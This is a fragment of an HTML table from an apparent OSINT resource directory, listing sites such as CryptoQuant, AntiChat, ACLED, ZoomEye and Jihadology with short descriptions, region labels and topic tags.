<tr><td><a href='https://cryptoquant.com'>CryptoQuant</a><br><a href='https://t.me/cryptoquant_official'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/cryptoquant_com'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Track daily Bitcoin overview, on-chain data analytics, price, statistics, derivatives, dex trades, charts and trending articles etc.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://forum.antichat.com'>AntiChat</a><br><a href='https://www.facebook.com/AntichatCom'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/antichatru'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://youtube.com/antichat'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://t.me/antichat'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a></td><td>Online community where people discuss computer vulnerabilities, hacks, and cybersecurity news.</td><td>GLOBAL</td><td>exploit,vulnerability,breach</td></tr>
<tr><td><a href='https://www.globaldetentionproject.org'>Global Detention Project</a><br><a href='https://twitter.com/migradetention'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/globaldetentionproject'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://linkedin.com/company/global-detention-project'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>The World's leading research centre for immigration detention as response to migration and refugee movements; promoting respect for the rights of detainees.</td><td>GLOBAL</td><td>geopolitics</td></tr>
<tr><td><a href='https://offshoreleaks.icij.org'>ICIJ Offshore Leaks</a><br><a href='https://www.linkedin.com/company/1732242'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://twitter.com/ICIJorg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://instagram.com/icijorg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Find out who's behind more than 810,000 offshore companies, foundations and trusts from the Pandora Papers, Paradise Papers, Bahamas Leaks, Panama Papers and Offshore Leaks investigations.</td><td>GLOBAL</td><td>breach,geopolitics,company</td></tr>
<tr><td><a href='https://threatview.io'>ThreatView</a><br></td><td>Actionable cyber threat intelligence feeds.</td><td>GLOBAL</td><td>malware,phishing</td></tr>
<tr><td><a href='https://domains-index.com'>Domains Index</a><br></td><td>Domains Index is domain names database updated regularly - gTLD, ccTLD, and newgTLDs, everything in one place.</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://cybdetective.substack.com'>Cyber Detective</a><br><a href='https://twitter.com/cyb_detective'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://github.com/cipher387'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a><a href='https://t.me/cybdetective'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a></td><td>Cyber Detective writes about OSINT tools and techniques.</td><td>GLOBAL</td><td>individual</td></tr>
<tr><td><a href='https://theresanaiforthat.com'>TheresAnAIForThat</a><br><a href='https://twitter.com/imakecoolsites'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Comprehensive database of AIs available for every task. Find the best AI for your task.</td><td>GLOBAL</td><td>individual,artificial-intelligence</td></tr>
<tr><td><a href='https://www.curatedintel.org'>Curated Intel</a><br><a href='https://github.com/curated-intel'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a><a href='https://twitter.com/CuratedIntel'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Bringing together intelligence researchers and incident responders.</td><td>GLOBAL</td><td>phishing,vulnerability,breach,malware</td></tr>
<tr><td><a href='https://www.offensiveosint.io'>Offensive OSINT</a><br><a href='https://twitter.com/the_wojciech'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://github.com/woj-ciech'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>Offensive OSINT is a project by Wojciech, an experienced Systems Engineer, Pentester, Security Analyst and OSINT researcher.</td><td>GLOBAL</td><td>individual</td></tr>
<tr><td><a href='https://www.pewresearch.org'>Pew Research</a><br><a href='https://twitter.com/pewresearch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/pewresearch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.youtube.com/user/PewResearchCenter'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Pew Research Center is a nonpartisan fact tank that informs the public about the issues, attitudes and trends shaping the world. It conducts public opinion polling, demographic research, media content analysis and other empirical social science research. Pew Research Center does not take policy positions.</td><td>GLOBAL</td><td>geopolitics</td></tr>
<tr><td><a href='https://acleddata.com'>ACLED</a><br><a href='https://twitter.com/ACLEDINFO'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/acleddata'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.facebook.com/ACLEDINFO'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>The Armed Conflict Location & Event Data Project (ACLED) collects real-time data on the locations, dates, actors, fatalities, and types of all reported political violence and protest events around the world. ACLED is the highest quality and most widely used real-time data and analysis source on political violence and protest around the world. Practitioners, researchers, journalists, and governments depend on ACLED for the latest reliable information on current conflict and disorder patterns.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://gsdn.live'>GSDN</a><br><a href='https://www.facebook.com/profile.php?id=100087188602320'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/globalstrategicdefence'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/in/global-strategic-defence-news-367aa6255'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCOfm22cokj70NPpsaQJ952g'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://twitter.com/gsdnlive'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Global Strategic and Defence News (GSDN) is a forum to provide accurate analysis on geopolitical and defence issues that concern the world at large.</td><td>GLOBAL</td><td>geopolitics,terrorism</td></tr>
<tr><td><a href='https://huggingface.co.'>HuggingFace</a><br><a href='https://github.com/huggingface'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>The AI community building the future. Build, train and deploy state of the art models powered by the reference open source in machine learning.</td><td>GLOBAL</td><td>artificial-intelligence</td></tr>
<tr><td><a href='https://millionshort.com'>Million Short</a><br><a href='http://facebook.com/millionshort'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/millionshort'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.youtube.com/user/millionshort'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Million Short started out as an experimental web search engine that allows you to filter and refine your search results set. The thinking was that web searches yield the same popular sites. Million Short makes it easy to discover sites that just don't make it to the top of the search engine results for whatever reason - whether it be poor SEO, new site, small marketing budget, or competitive keywords. The Million Short technology gives users access to the wealth of untapped information on the web.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://effectgroup.io'>Effect Group</a><br><a href='https://www.facebook.com/EffectGroupOS'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/EffectGroupOS'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCDwzl8Il0UB3EwejZ7XUZHQ'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/effectgroupos'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Effect Group is a project formed by Cyber Security Specialists, Cyber Researchers and Programmers, which arises in response to the need of reduce time and resources involved in Information Gathering and re-allocate them in Research and Strategic Planning Processes. Our mission is focused on offering a Service that allows Analysts / Organizations to access, from a single place, all the necessary information to have a solid and reliable starting point in their investigations.</td><td>GLOBAL</td><td>web,geopolitics,breach,network,company</td></tr>
<tr><td><a href='https://effect.international'>Effect International</a><br></td><td>Explore Data on over 170 million companies across 200 countries. Find Business information for Corporate Risk, B2B Marketing and Sales.</td><td>GLOBAL</td><td>company</td></tr>
<tr><td><a href='https://smithandcrown.com/research'>Smith & Crown</a><br><a href='https://twitter.com/smithandcrown'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Understanding how businesses, economies, and social systems will function in the near future requires knowledge of cryptoeconomic systems' potential and limits. Smith + Crown is the world's leading blockchain research group, providing free industry intelligence and analysis on key networks and topics.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.morningbrew.com'>Morning Brew</a><br><a href='https://twitter.com/MorningBrew'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/the-morning-brew'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.facebook.com/MorningBrew'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UC_-hYjoNe4PJNFa9iZ4lraA'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.instagram.com/morningbrew'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>The daily email newsletter covering the latest news from Wall St. to Silicon Valley. Informative, witty, and everything you need to start your day.</td><td>GLOBAL</td><td>economics,geopolitics,crypto,stocks</td></tr>
<tr><td><a href='https://publicrecords.copyright.gov'>CPRS</a><br></td><td>Copyright Public Records System (CPRS) is powerful search engine that provides easy filtering capability, and follows user-centered design principles in line with the Enterprise Copyright System. In addition to information that appears in the official Copyright Public Catalog, CPRS now also includes images and searchable metadata from an initial release of Card Catalog registration applications from the 1938-1945 period.</td><td>GLOBAL</td><td>company</td></tr>
<tr><td><a href='https://www.trendsmap.com'>TrendsMap</a><br><a href='https://twitter.com/trendsmap'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Analyse any topic globally or by region in detail. Create unique map based visualisations showing tweet activity across a country, a region, or the world. Our powerful querying and filtering tools allows you to focus on your particular area of interest.</td><td>GLOBAL</td><td>social</td></tr>
<tr><td><a href='http://aidr.qcri.org'>AIDR</a><br></td><td>Artificial Intelligence for Digital Response (AIDR) is a free and open platform to filter and classify social media messages related to emergencies, disasters, and humanitarian crises. AIDR uses human and machine intelligence to automatically tag up to thousands of messages per minute.</td><td>GLOBAL</td><td>artificial-intelligence</td></tr>
<tr><td><a href='https://www.zoomeye.org'>ZoomEye</a><br></td><td>ZoomEye is China's first and also the world's famous cyberspace search engine. Through the accumulated large amount of surveying and mapping data for trend analysis, it finally realizes the dynamic cyberspace surveying and mapping image across time and space.</td><td>GLOBAL</td><td>web,network,vulnerability,image</td></tr>
<tr><td><a href='https://www.similarsitesearch.com'>SimilarSiteSearch</a><br></td><td>SimilarSiteSearch helps you find similar, related, or alternative websites.</td><td>GLOBAL</td><td>web,image</td></tr>
<tr><td><a href='https://accountanalysis.app'>AccountAnalysis</a><br><a href='https://www.twitter.com/accountanalysis'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>This tool enables you to evaluate Twitter accounts. For example how automated they are, how many Retweets they post, or which websites they link to most often.</td><td>GLOBAL</td><td>social</td></tr>
<tr><td><a href='http://www.findsimilarsites.com'>FindSimilarSites</a><br></td><td>FindSimilarSites helps you to discover similar and related websites for a given website. Based on a deep keyword analysis FindSimilarSites calculates the most similar websites according to the keywords and topics of a specific website. Just type in a domain name in the search field and start exploring new sites and alternatives.</td><td>GLOBAL</td><td>web,image</td></tr>
<tr><td><a href='http://lexiurl.wlv.ac.uk'>Webometric Analyst</a><br></td><td>Webometric Analyst is a free Windows-based program for altmetrics, citation analysis, social web analysis and webometrics, including link analysis. It downloads data from the web through APIs or directly and includes a wide range of text and citation processing options.</td><td>GLOBAL</td><td>social,web</td></tr>
<tr><td><a href='https://www.middleeasteye.net'>MiddleEastEye</a><br><a href='https://www.facebook.com/MiddleEastEye'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.twitter.com/MiddleEastEye'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.instagram.com/middleeasteye'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.youtube.com/MiddleEastEye'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Founded in April 2014, Middle East Eye is an independently funded digital news organisation covering stories from the Middle East and North Africa, as well as related content from beyond the region. Its unique coverage offers on-the-ground news, comment and analysis that brings local viewpoints to the fore. Reporters are encouraged to read between the lines and take stories one step further rather than simply follow the official narrative.</td><td>MENA</td><td>terrorism,geopolitics</td></tr>
<tr><td><a href='https://swisscows.com'>SwissCows</a><br><a href='https://www.facebook.com/swisscows'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/swisscows.official'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/swisscows'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://twitter.com/swisscows_ch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Swisscows is an anonymous search engine protects the privacy of our users when searching and from inappropriate content when finding it.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://searx.info'>SearX</a><br><a href='https://github.com/searx'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a><a href='https://twitter.com/Searx_engine'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Searx is a metasearch engine, aggregating the results of other search engines while not storing information about its users.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://www.gigablast.com'>GigaBlast</a><br></td><td>A powerful, new search engine that does real-time indexing.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://www.icsve.org'>ICSVE</a><br><a href='https://twitter.com/icsve'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/icsve.org'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.youtube.com/ICSVE'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Founded in 2015, the International Center for the Study of Violent Extremism (ICSVE) provides research, training, and strategic advice to government leaders, intelligence, defense, international organizations, police and civilian communities worldwide to prevent and deter the threat of violent extremism in the core areas such as capacity building and programmatic support, countering extremist narrative, alternative narrative, developing community resilience, managing intervention activities, and training.</td><td>GLOBAL</td><td>terrorism,geopolitics</td></tr>
<tr><td><a href='https://www.tsas.ca'>TSAS</a><br><a href='https://twitter.com/TSASNetwork'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>The Canadian Network for Research on Terrorism, Security and Society (TSAS) engages more than 280 affiliates to conduct policy-relevant research on the threat of terrorism, security responses to terrorism, and the impact of both terrorism and securitization on Canadian society.</td><td>GLOBAL</td><td>terrorism,geopolitics</td></tr>
<tr><td><a href='https://jihadintel.meforum.org'>JihadIntel</a><br></td><td>Vital Intelligence on Designated Islamic Terrorist Organizations</td><td>GLOBAL</td><td>terrorism</td></tr>
<tr><td><a href='https://private.sh'>PrivateSH</a><br></td><td>The search engine that cryptographically protects your privacy</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://jihadology.net'>Jihadology</a><br></td><td>A clearinghouse for jihādī primary source material, original analysis, and translation service.</td><td>GLOBAL</td><td>terrorism</td></tr>
<tr><td><a href='https://dnslytics.com'>DNSlytics</a><br></td><td>Find out everything about a domain name, IP address or provider. Discover relations between them and see historical data. Use it for your digital investigation, fraud prevention or brand protection.</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://visualping.io'>Visualping</a><br><a href='https://twitter.com/visualping'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/9480446'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCgyjvEr5OWQ10DR82_HWgjg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.facebook.com/visualping.io'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>More than 1.5 millions users monitor changes in websites with Visualping, The No. 1 website change detection, website checker, webpage change monitoring and webpage change detection tool.</td><td>GLOBAL</td><td>web,image</td></tr>
<tr><td><a href='https://search.carrot2.org'>Carrot2</a><br><a href='https://github.com/carrot2'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>Carrot2 organizes your search results into topics. With an instant overview of what's available, you will quickly find what you're looking for.</td><td>GLOBAL</td><td>web</td></tr>
<tr><td><a href='https://stocktwits.com'>Stocktwits</a><br><a href='https://www.instagram.com/stocktwits'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://twitter.com/stocktwits'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://facebook.com/stocktwits'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Stocktwits is the largest social network for investors and traders.</td><td>GLOBAL</td><td>stocks</td></tr>
